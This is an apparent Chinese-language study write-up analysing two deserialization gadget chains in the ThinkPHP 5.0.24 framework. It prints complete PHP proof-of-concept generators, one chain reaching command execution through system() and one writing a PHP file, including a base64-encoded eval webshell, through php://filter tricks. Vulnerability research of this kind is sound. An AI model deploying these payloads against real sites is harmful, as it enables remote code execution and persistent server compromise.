前几天学习了tp5.1的反序列化链,那么今天就总结一下tp5.0.24链子的构造。总体来说,我觉得tp5.0的链子要比tp5.1的链子复杂一些,在网上也是找了两条不同的链子,一个是通过写文件来 getshell,一个是直接调用函数执行rce,慢慢看吧。
环境搭建的话很简单,直接在github上下载源码解压到www目录下,同样在控制器写一个反序列化入口就可以了。
直接开始分析链子,这里有两条链子,先说说执行rce的这条链子吧。
其实链子的开端和tp5.1的一样,都是通过调用windows类的__destruct方法,继而调用removefile通过属性实例化任意类调用toString()魔术方法,这里调用Model类中的tostring,

但是Model类不能直接实例化,那就实例化继承它的Pivot类。那么这一块的poc为
- namespace think;
- abstract class Model{
-
- }
-
- namespace think\model;
- use think\Model;
- class Pivot extends Model{
-
- }
-
- namespace think\process\pipes;
- use think\Model\Pivot;
- class Windows{
- private $files = [];
- public function __construct()
- {
- $this->files = [new Pivot()];
- }
- }
-
- use think\process\pipes\Windows;
- echo base64_encode(serialize(new Windows()));
- ?>
进入到Model类的tostring方法,继续跟进tojosn,再跟进toArray方法,老套路,不必多说。同样是看toArray方法的关键代码。

我们的目标是要通过$value->getAttr($attr)来调用call魔术方法。那么就要判断value是否可控,可以发现value的值最终受到append数组键名的影响,那我们就正向分析。

relation的值是直接由name控制,parseName函数仅仅做了格式转换,而name就是aappend键名。继续往下看,

relation的值被当作函数来执行了,并且返回值赋值给modelRelation参数,我们希望这个参数的值是可控的,那么我们就需要调用返回值可控的函数 ,这里我们让relation赋值为getError,

返回的error是可控的,那么现在modelRelation也可控,继续往下走,被作为参数进入到getRelationData函数里,那么继续跟进这个函数。

这里modelRelation就作为了Relation类的对象,我们需要让value为我为我们可控,那么我们需要进入到第一个if里,看能不能满足条件,跟进isselfRelation方法,

可控,那么最后一个判断,getmodel函数是否可控,继续跟进。

这里需要实例化类继续调用返回值可控的这个函数,这里实例化Query类的getmodel函数,

这样就都可控了,那么进入到if分支里,value的值是直接由parent属性控制,是可控的。回头继续看toArray函数,我们还需要进入到这两个if语句里。

通过放大镜找到OneToOne类中有getBindAttr函数的定义,那么可以让modelRelation去实例化这个类,

但是OneToOne是继承于Relation类的一个接口,不能直接实例化,这里HasOne继承了OneToOne类,那么我们可以实例化这个类。getBindAttr函数的返回值可控,那么第二个if条件也满足了。这样就可以调用call方法了。 这一块的poc为
- namespace think;
- use think\Model\Relation\HasOne;
- use think\console\Output;
- abstract class Model{
- protected $append = [];
- protected $error;
- protected $parent;
- public function __construct()
- {
- $this->append = ['getError'];
- $this->error = new HasOne();
- $this->parent = new Output();
- }
- }
-
- namespace think\model\relation;
- use think\db\Query;
-
- class HasOne{
- protected $selfRelation;
- protected $query;
- protected $bindAttr = [];
- public function __construct()
- {
- $this->selfRelation = false;
- $this->query = new Query();
- $this->bindAttr = ["aaa"=>"222"];
- }
- }
-
- namespace think\console;
- use think\session\driver\Memcached;
- class Output{
-
- }
-
- namespace think\db;
- use think\console\Output;
- class Query{
- protected $model;
- public function __construct()
- {
- $this->model = new Output();
- }
- }
这样就成功调用了call方法。

这里调用了block方法,跟进block方法。

继续跟进writeln方法。

套娃一样,继续跟进write方法。

这里调用任意类的write方法。 这里我们调用think\session\dirver里的Mecache类的write方法。

这里又可以调用任意类的set方法,这里我们调用think\cache\Mecache类的set方法,注意重名了,但是不在一个命名空间。

这里跟进has函数,

getCacheKey函数只进行了一个拼接,然后调用任意类的get方法。那么我们就可以调用Request类的set方法。

最后调用经典input方法,这里的this->get和filter都是我们可控的。 进入input方法,最终调用filterValue方法,

调用call_user_func函数来执行命令。这里的value就是this->get,构造最终poc。
- namespace think;
- use think\Model\Relation\HasOne;
- use think\console\Output;
- abstract class Model{
- protected $append = [];
- protected $error;
- protected $parent;
- public function __construct()
- {
- $this->append = ['getError'];
- $this->error = new HasOne();
- $this->parent = new Output();
- }
- }
-
- namespace think\model\relation;
- use think\db\Query;
-
- class HasOne{
- protected $selfRelation;
- protected $query;
- protected $bindAttr = [];
- public function __construct()
- {
- $this->selfRelation = false;
- $this->query = new Query();
- $this->bindAttr = ["aaa"=>"222"];
- }
- }
-
- namespace think\db;
- use think\console\Output;
- class Query{
- protected $model;
- public function __construct()
- {
- $this->model = new Output();
- }
- }
-
- namespace think\console;
- use think\session\driver\Memcached;
- class Output{
- private $handle;
- protected $styles = [
- "getAttr"
- ];
- public function __construct()
- {
- $this->handle = new Memcached();
- }
- }
-
- namespace think\cache;
- abstract class Driver{
-
- }
-
- namespace think\session\driver;
- use think\cache\driver\Memcache;
- use think\cache\Driver;
- class Memcached { //个人认为防止重名
- protected $handler;
- protected $config = [ //config一定要写全,不然打不通
- 'session_name' => '', // memcache key前缀
- 'username' => '', //账号
- 'password' => '', //密码
- 'host' => '127.0.0.1', // memcache主机
- 'port' => 11211, // memcache端口
- 'expire' => 3600, // session有效期
- ];
- public function __construct()
- {
- $this->handler = new Memcache();
- }
- }
-
- namespace think\cache\driver;
- use think\Request;
- class Memcache{
- protected $tag = "haha";
- protected $handler;
- protected $options = ['prefix'=>'haha/'];
- public function __construct()
- {
- $this->handler = new Request();
- }
- }
-
- namespace think;
- class Request{
- protected $get = ["haha"=>'dir'];
- protected $filter;
- public function __construct()
- {
- $this->filter = 'system';
- }
- }
-
- namespace think\model;
- use think\Model;
- class Pivot extends Model{
-
- }
-
- namespace think\process\pipes;
- use think\Model\Pivot;
- class Windows{
- private $files = [];
- public function __construct(){
- $this->files = [new Pivot()];
- }
- }
-
- use think\process\pipes\Windows;
- echo base64_encode(serialize(new Windows()));
- ?>
一些细节上的地方没有细说,因为这个版本很多地方都和tp5.1.37一样。然后在本地打一下payload

测试成功,这一条链子就分析到这。
前面调用tostring函数,调用call函数啥的都跟上一个链子一样。这里就不在赘述。

从think\session\dirver里的Mecache类开始,调用file类的set方法

最下面有file_put_contents函数可以用来写文件。那我们需要看这两个参数是否可控。先看filename,跟进getCacheKey函数。

可以发现后缀名被锁死了,但是name我们还是可控的,所以filename部分可控。如果说data也可控的话,那么就可以写shell了。 通过函数调用链可以发现data是由value控制,继而由sessData控制,最终追述到Output类的writeln方法。

这里为true,被写死了。不能写内容怎么getshell?我们可以继续调用setTagItem函数。

这里又一次调用了set方法,那么看一下key是否可控。很明显,它是由$this->tag控制,可控。那么value呢?由name控制,仔细看传进来的name,它不就是我们可控的filename嘛,那么我们就可以调用file_put_contents来写文件了。注意

拼接字符串的时候我们需要绕过exit();不然会强制退出。那么该怎么绕过呢?
我们可以利用php伪协议来绕过。

如果file_put_contentes() 第一个参数为php://filter/write=string.rot13/resource=555.php的话,php会把文件内容进行rot13编码,然后写入555.php 文件。 那么exit()函数就会被rot13编码写进文件中,成功绕过。从而实现了绕过。但是使用这种方法的payload不能在Windows上使用。但是在Windows环境中我们可以使用这样的payload,
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
windows写文件的这个原理我还不太了解,可以参考这篇文章:Thinkphp5.0反序列化链在Windows下写文件的方法 - 先知社区 (aliyun.com)
最终poc为
- namespace think\process\pipes;
- use think\model\Pivot;
- class Pipes{
-
- }
- class Windows extends Pipes{
- private $files=[];
- function __construct(){
- $this->files=[new Pivot()];
- }
-
- }
- namespace think;
- use think\model\relation\HasOne;
- use think\console\Output;
- abstract class Model{
- protected $append = [];
- protected $error;
- public $parent;
- public function __construct(){
- $this->append=["getError"];
- $this->error=new HasOne();
- $this->parent=new Output();
- }
- }
- namespace think\model\relation;
- use think\model\Relation;
- class HasOne extends OneToOne{
- function __construct(){
- parent::__construct();
- }
- }
- namespace think\model;
- use think\db\Query;
- abstract class Relation{
- protected $selfRelation;
- protected $query;
- function __construct(){
- $this->selfRelation=false;
- $this->query= new Query();
- }
- }
- namespace think\console;
- use think\session\driver\Memcache;
- class Output{
- private $handle = null;
- protected $styles = [];
- function __construct(){
- $this->styles=['getAttr'];
- $this->handle=new Memcache();
- }
- }
- namespace think\db;
- use think\console\Output;
- class Query{
- protected $model;
- function __construct(){
- $this->model= new Output();
- }
- }
- namespace think\model\relation;
- use think\model\Relation;
- abstract class OneToOne extends Relation{
-
- protected $bindAttr = [];
- function __construct(){
- parent::__construct();
- $this->bindAttr=["aaa","123"];
-
- }
- }
- namespace think\session\driver;
- use think\cache\driver\File;
- class Memcache{
- protected $handler = null;
- function __construct(){
- $this->handler=new File();
- }
- }
- namespace think\cache\driver;
- use think\cache\Driver;
- class File extends Driver{
- protected $options=[];
- function __construct(){
- parent::__construct();
- $this->options = [
- 'expire' => 0,
- 'cache_subdir' => false,
- 'prefix' => '',
- 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
- 'data_compress' => false,//base64字符串为 phpinfo();\?\>
- ];
- }
- }
- namespace think\cache;
- abstract class Driver{
- protected $tag;
- function __construct(){
- $this->tag=true;
- }
- }
- namespace think\model;
- use think\Model;
- class Pivot extends Model{
- }
- use think\process\pipes\Windows;
- echo base64_encode(serialize(new Windows()));
-
- //
- ?>
将payload打进去,

可以看到成功写入了文件了。 那么访问这个文件,

能够成功执行命令。那么就可以写木马进去了。
第二条链子要比第一条复杂,涉及到windows下文件名的限制问题。还是要理解原理。
相关链接: